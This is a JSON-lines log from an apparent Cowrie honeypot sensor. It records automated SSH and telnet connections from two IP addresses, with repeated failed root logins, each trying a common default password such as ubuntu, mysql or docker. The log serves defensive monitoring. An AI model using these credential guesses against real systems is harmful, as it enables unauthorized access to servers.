{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51546,"dst_ip":"10.17.0.5","dst_port":23,"session":"2479309cb7ea","protocol":"telnet","message":"New connection: 152.42.224.71:51546 (10.17.0.5:23) [session: 2479309cb7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:34.780961Z"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:34.967211Z","src_ip":"163.7.4.169","session":"d5fd0bd3a8c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:35.739178Z","src_ip":"163.7.4.169","session":"d5fd0bd3a8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:36.999681Z","src_ip":"163.7.4.169","session":"d5fd0bd3a8c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49418,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa52231c009","protocol":"ssh","message":"New connection: 163.7.4.169:49418 (10.17.0.5:22) [session: 5aa52231c009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:37.253570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:37.258517Z","src_ip":"163.7.4.169","session":"5aa52231c009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:37.516019Z","src_ip":"163.7.4.169","session":"5aa52231c009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:38.289785Z","src_ip":"163.7.4.169","session":"5aa52231c009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:39.550831Z","src_ip":"163.7.4.169","session":"5aa52231c009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49434,"dst_ip":"10.17.0.5","dst_port":22,"session":"35755f3af53b","protocol":"ssh","message":"New connection: 163.7.4.169:49434 (10.17.0.5:22) [session: 35755f3af53b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:39.792750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:39.804273Z","src_ip":"163.7.4.169","session":"35755f3af53b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:40.056544Z","src_ip":"163.7.4.169","session":"35755f3af53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:40.813631Z","src_ip":"163.7.4.169","session":"35755f3af53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:42.068636Z","src_ip":"163.7.4.169","session":"35755f3af53b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49450,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6ed8cbea2e","protocol":"ssh","message":"New connection: 163.7.4.169:49450 (10.17.0.5:22) [session: de6ed8cbea2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:42.312895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:42.317979Z","src_ip":"163.7.4.169","session":"de6ed8cbea2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:42.567207Z","src_ip":"163.7.4.169","session":"de6ed8cbea2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45270,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26e1f94ecee","protocol":"telnet","message":"New connection: 152.42.224.71:45270 (10.17.0.5:23) [session: c26e1f94ecee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:43.249954Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:43.316641Z","src_ip":"163.7.4.169","session":"de6ed8cbea2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:44.569248Z","src_ip":"163.7.4.169","session":"de6ed8cbea2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":34206,"dst_ip":"10.17.0.5","dst_port":22,"session":"54d15cdffc66","protocol":"ssh","message":"New connection: 163.7.4.169:34206 (10.17.0.5:22) [session: 54d15cdffc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:44.811930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:44.822126Z","src_ip":"163.7.4.169","session":"54d15cdffc66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:45.068131Z","src_ip":"163.7.4.169","session":"54d15cdffc66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:45.803754Z","src_ip":"163.7.4.169","session":"54d15cdffc66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:47.051446Z","src_ip":"163.7.4.169","session":"54d15cdffc66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":34214,"dst_ip":"10.17.0.5","dst_port":22,"session":"d50afe7bc9d1","protocol":"ssh","message":"New connection: 163.7.4.169:34214 (10.17.0.5:22) [session: d50afe7bc9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:47.296700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:47.302271Z","src_ip":"163.7.4.169","session":"d50afe7bc9d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:47.552330Z","src_ip":"163.7.4.169","session":"d50afe7bc9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:48.302263Z","src_ip":"163.7.4.169","session":"d50afe7bc9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:49.554410Z","src_ip":"163.7.4.169","session":"d50afe7bc9d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":34216,"dst_ip":"10.17.0.5","dst_port":22,"session":"8754e38bafce","protocol":"ssh","message":"New connection: 163.7.4.169:34216 (10.17.0.5:22) [session: 8754e38bafce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:49.811738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:49.817389Z","src_ip":"163.7.4.169","session":"8754e38bafce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:50.072253Z","src_ip":"163.7.4.169","session":"8754e38bafce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:50.828105Z","src_ip":"163.7.4.169","session":"8754e38bafce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:52.083266Z","src_ip":"163.7.4.169","session":"8754e38bafce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":34228,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cc9f8a0740e","protocol":"ssh","message":"New connection: 163.7.4.169:34228 (10.17.0.5:22) [session: 4cc9f8a0740e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:52.337252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:52.341270Z","src_ip":"163.7.4.169","session":"4cc9f8a0740e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:52.598923Z","src_ip":"163.7.4.169","session":"4cc9f8a0740e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:53.374447Z","src_ip":"163.7.4.169","session":"4cc9f8a0740e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:54.635482Z","src_ip":"163.7.4.169","session":"4cc9f8a0740e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49414,"dst_ip":"10.17.0.5","dst_port":22,"session":"30e778237cfc","protocol":"ssh","message":"New connection: 163.7.4.169:49414 (10.17.0.5:22) [session: 30e778237cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:54.868314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:54.878734Z","src_ip":"163.7.4.169","session":"30e778237cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:55.123526Z","src_ip":"163.7.4.169","session":"30e778237cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:55.861852Z","src_ip":"163.7.4.169","session":"30e778237cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56226,"dst_ip":"10.17.0.5","dst_port":23,"session":"245fa8a3b065","protocol":"telnet","message":"New connection: 152.42.224.71:56226 (10.17.0.5:23) [session: 245fa8a3b065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:56.154915Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:57.108938Z","src_ip":"163.7.4.169","session":"30e778237cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.4.169","src_port":49428,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e782fa9c96","protocol":"ssh","message":"New connection: 163.7.4.169:49428 (10.17.0.5:22) [session: 53e782fa9c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:57.348399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:23:57.353624Z","src_ip":"163.7.4.169","session":"53e782fa9c96","protocol":"ssh"}
